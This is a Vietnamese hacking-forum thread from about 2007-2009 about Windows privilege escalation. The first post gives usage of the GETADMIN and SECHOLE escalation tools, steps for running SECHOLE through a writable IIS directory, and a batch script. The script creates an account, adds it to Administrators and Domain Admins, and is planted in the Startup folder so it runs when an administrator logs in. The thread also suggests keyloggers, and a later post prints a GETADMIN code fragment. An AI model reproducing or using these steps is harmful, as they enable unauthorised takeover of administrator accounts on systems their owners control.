[Discussion] [Thảo Luận] Gaining Access Leo Thang đặc quyền |
27/05/2007 05:10:55 (+0700) | #1 | 61775 |
|
legenday
Member
|
0 |
|
|
Joined: 10/04/2006 04:00:10
Messages: 65
Location: Under Ground
Offline
|
|
// Do vấn đề của topic cũ đã được giải quyết nên mình lập ra topic mới này với mục đích thảo luận về vấn đề:
Leo Thang Đặc Quyền
google wrote:
Việc hiển thị account thì search là ra cả, mình mở rộng thêm: đăng nhập với account không có đặc quyền admin làm cách nào để đánh lừa windows(sp2) account này có đặc quyền admin?
Như vậy là bạn đã nói đến vấn đề đưa một user không có quyền admin thành user trong group Administrator đó là vấn đề : Gain Administrator “Leo thang đặc quền” hay còn gọi là “leo thang mức ưu tiên”
Theo hiểu biết nông cạn của mình thì ngòai một số cách tự thân vận động thì cũng có một số Tools từng có thể làm được việc này ( ở đây mình chỉ điểm danh ra thôi còn giờ có dùng được nữa hay không thì ai mà biết)
Thứ 1 phải nói đến đó là: GETADMIN
GETADMIN do Konstantin Sobolev viết để bỗ sung một người dùng vào nhóm Adminstrators cục bộ . Nó thường dùng lỗi NT cấp thấp để ấn định một cờ toàn cục cho phép truy cập mọi tiến trình đang chạy, sau đó dùng một kỹ thuật tên " tiêm DLL " ( DLL injection ) để chèn một đoạn mã ác ý vào một tiến trình có quyền ưu tiên bỗ sung các người dùng vào nhóm Adminstrators ( tiến trình mà nó đánh cướp có tên là winlogon , chạy dưới tài khoản system )
Hạn chế của GetAdmin là chạy cục bộ trên hệ đích do đó nó hữu ích khi đánh lừa các nhóm Operator lập sẵn hoặc tài khoảng internet ngầm định ( theo quan điểm bạn tấn công từ xa )
Còn nếu bạn có quyền đăng nhập như một account cục bộ thì chạy vô tư với cú pháp như sau
Getadmin User_name
với User_name là tên người dùng bổ sung vào nhóm Administrator.
Nhưng theo mình biết thì Microsoft đã fix lỗi này từ lâu nên có thể bạn sẽ cần phải chạy crash4 trước khi chạy getadmin nó có tác dụng loại bỏ fix này ( có thể giờ cũng đã fix nôt )
Thứ 2 phải nói đến là SECHOLE
Cái này khá giống Getadmin nó có tác dụng bổ sung người dùng vào nhóm Domain Admin .Tuy nhiên nó làm việc với cơ chế khác hoàn toàn với getadmin . Được công bố bởi Prasad Dabak , Sandeep Phadke và Milind Borate , sechole sửa đổi các chỉ lệnh trong bộ nhớ của lệnh gọi Open Process API để có thể tấn công thành công một tiến trình có ưu tiên , bất chấp nó có quyền làm thế hay không . Sau khi tiến công được một tiến trình ưu tiên , nó tác động tương tự như getadmin , có nghĩa là chạy mã trong tiến trình đó để bỗ sung người dùng hiện tại vào nhóm Administrators cụ thể . Giống như getadmin , sechole cũng phải chạy cục bộ trên hệ đích . Tuy nhiên ,nếu hệ đích đang chạy Internet Information Server ( IIS ) của Microsoft và thỏa một số điều kiện nhất định , sechole có thể khởi phát ở một ví trí ở xa , bỗ sung tài khoản người dùng Internet , IUSR_machine_name , vào nhóm Administrators , hoặc Domain Admins .
SECHOLE cũng phải chạy cục bộ trên hệ đích. (nếu ta có tài khoản là user thì cứ đăng nhập và chạy sechole như bình thường sau đó đăng xuất ( or reboot) thì khi đăng nhập lại sẽ thấy được nâng quyền trong nhóm admin.
Để thi hành SECHOLE từ xa thì làm như sau
1 Điều kiện để tấn công là phải có quyền truy nhập một thư mục IIS có thể ghi và thi hành.
2 sau đó tải các tập tin của SECHOLE và các DLL library , cmd.exe và trình netuser đế sửa đổi người dùng
3 Sau khi tải lên mã SECHOLE phải được khởi phát .Kế tiếp là bổ sung tài khoản IUSR _machine_name vào nhóm Adminstrators
4 Ta có thể tạo ra một người dùng mới trên hệ đích bằng tiện ích ntuser ( cái này các bạn tự tìm hiểu)
Thứ 3 được nhắc đến dùng BATCH HACKING
1 Mở một trình editor bất kỳ : và paste đoạn code sau:
echo off
Net user %user% pass /active /domain /add
Net local group Administrators %user% /add
Net group "Domain Admins" %user% /add /domain
Net group "Guests" %user% /delete /domain
Với các thông số phải phù hợp với máy đích .để hiểu rõ chúng các bạn phải tìm hiểu lệnh Net user và Net .
VÍ DỤ : NET USER USER_NAME PASS_WORD /ADD (Tạo ra một tài khoản có tên là USER_NAME và Password = PASS_WORD với quyền hạn là limit account.
NET LOCALGROUP ADMINISTRATORS USER_NAME /ADD ( nâng quyền hạn của Account có tên là USER_NAME vào trong nhóm Adminstrators.
2 Save lại với một cái tên nào đó ví dụ là : admin.bat
3 sau đó copy file admin.bat đó vào ( Thư mục Start up)
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
Khi mà administrator login thì file admin.bat sẽ được thực thi và ta nghiễm nhiên tạo một account mới và có quyền hạn administrator.
Thứ 4 dùng Key logger
( tất nhiên là ghi nhận được pass của tên nào thuộc Administrator Group là xong rồi ta đăng nhập vào và nâng quyền account của mình nên )
Thứ 5 dùng Hiren boot disk
hoặc bất cứ chương trình có khả năng có thể set lại password của Administrator ( trong trường hợp nhiều người bị quên )
Thứ 6 SNIFFING
Thứ 7 SOCIAL ENGINEERING
2 phần cuối để các bạn tự tìm hiểu.
Tham khảo và thử nghiệm từ một số tài liệu về vấn đề Gaining Access
|
|
|
|
|
[Question] [Thảo Luận] Gaining Access Leo Thang đặc quyền |
28/05/2007 00:43:30 (+0700) | #2 | 61889 |
google
Member
|
0 |
|
|
Joined: 19/05/2007 21:22:22
Messages: 3
Offline
|
|
hì... mấy cái tool bồ đưa ra không biết có hack được không, mình chưa thử dùng và cũng không có ý định dùng làm gì tốn thời gian dù được hay không được, cái quan trọng là nguyên lý để viết các tool ấy, mình nghĩ đây là vấn đề rất khó |
|
|
|
|
[Question] [Thảo Luận] Gaining Access Leo Thang đặc quyền |
28/05/2007 03:49:16 (+0700) | #3 | 61922 |
|
legenday
Member
|
0 |
|
|
Joined: 10/04/2006 04:00:10
Messages: 65
Location: Under Ground
Offline
|
|
google wrote:
hì... mấy cái tool bồ đưa ra không biết có hack được không, mình chưa thử dùng và cũng không có ý định dùng làm gì tốn thời gian dù được hay không được, cái quan trọng là nguyên lý để viết các tool ấy, mình nghĩ đây là vấn đề rất khó
Tất nhiên là nguyên lý rất khó cũng như để viết được chúng cũng rất khó rồi .Mặc dù mình có đoạn code này của GETADMIN chỉ có vài chục dòng thôi .Đưa ra để anh em tham khảo
Nguyên lý như sau:
Đầu tiên :ChangeNtGlobalFlag(GetNtGlobalFlagPtr()); sau đó ta có thể mở được bất kỳ process nào do hàm trên đã thay đổi bit flag. Sau đó chương trình sẽ tiêm DLL vào Winlogon process.Winlogon sẽ được chạy với SYSTEM account vì vậy có thểadd / remove Administrators group
Code:
Function ChangeNtGlobalFlag:
BOOL ChangeNtGlobalFlag (DWORD NtGlobalFlag) { DWORD callnumber = 0x3; //NtAddAtom DWORD stack [32]; int i; DWORD handle=0; CHAR string[255];
If (! pNtGlobalFlag) return 0;
Stack [0] = (DWORD) string; Stack [1] = (DWORD)&handle; //pNtGlobalFlag;
For (i=0;i ‹ 0x100;i++) { sprintf(string,"NT now cracking... pass %d", i);
If (handle & 0xf00){ Stack [1] = (DWORD) pNtGlobalFlag+1; }
__Asm { mov eax, callnumber; mov edx, stack; lea edx,dword ptr [stack]; int 0x2e; }
if( stack[1] == pNtGlobalFlag+1) break; }
Return TRUE; }
Nhưng thực sự bây giờ mình nghĩ Getadmin chẳng còn dùng được nữa đâu do Microsoft đã fix hết rồi .Đưa ra ở đây chỉ với mục đích thảo luận mà thôi.
Tiện đây mình xin đưa ra thêm một chút về vấn đề Access
Trong windows NT /XP mọi file và thư mục đều có ACL (Access Control List) .Mỗi user and group có SID (Security Identifier),
Và khi user cố gắng đọc hoặc ghi những file này thì sẽ được chek ACL
Đây là bảng flags điều khiển ACL cho file và thư mục
Code:
FLAG DESCRIPTION
------ -------------
N No access
R Read
W Write
X Execute
D Delete
P Change permission
O Ownership
An All
RX Directory File/Scan
WX Directory
Vấn đề ở đây là gì nếu ta làm cách nào đó thay đổi được SID của ta thì sẽ dẫn tới ACL cũng sẽ bị thay đổi và có thể sẽ đọc hay ghi ,copy nhưng file không được cho phép trước kia. ( SAM chẳng hạn
)
Nếu không thể tự viết cho mình công cụ ( hiện tại thì mình cũng chưa thể làm được việc này ) thì có thể tìm các công cụ để "unset my flag".
trên đầy chỉ dừng lại mang tính lý thuyết để đi sâu vào từng thứ một mỗi người trong chúng ta nếu chưa thử làm bao giờ sẽ phải tìm hiểu dài dài .
|
|
|
|
|
[Question] Re: [Thảo Luận] Gaining Access Leo Thang đặc quyền |
14/05/2009 13:57:03 (+0700) | #4 | 180530 |
|
phstiger
Member
|
0 |
|
|
Joined: 23/01/2007 17:47:26
Messages: 261
Offline
|
|
Em tìm thấy một tài liệu không rõ tác giả nó về Leo Thang Đặc Quyền như thế này, và nói thiên về attack web. Không biết có dùng thuật ngữ này để mô tả trong lĩnh vực attack web hay ko....Các bác cho em ý kiến, định nghĩa như bên dưới có hợp lý không.....
Leo thang đặc quyền theo chiều ngang(horizontal privilege escalation).
Đây là hình thức 1 user truy cập thông tin trái phép của 1 user khác trong hệ thống web application. Chẳng hạn trong hệ thống tài khoản ngân hàng, 1 user chỉ được phép xem và giao dịch với tài khoản của chính user đó. Nhưng hệ thống web application lại tiềm ẩn lỗi và 1 user này có thể xem và giao dịch dưới vai trò là 1 user khác.
Leo thang đặc quyền theo chiều dọc(vertical privilege escalation).
Đó là hình thức hacker từ 1 user bình thường trong hệ thống bằng cách khai thác lỗi của web application, hacker nâng quyền tải khoản của mình lên thành tài khoản có quyền cao hơn như tài khoản quản trị hệ thống. Từ đó nắm được quyền quản trị hệ thống.
Xâm nhập tập tin trái phép(arbitrary file access).
Đó là hình thức hacker xâm nhập các file không thuộc hệ thống web aplication nhờ vào lỗi của chính hệ thống web application. Chẳng hạn như truy cập các file trái phép của hệ điều hành như boot.ini hoặc /etc/passwd
|
|
|
|
|
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|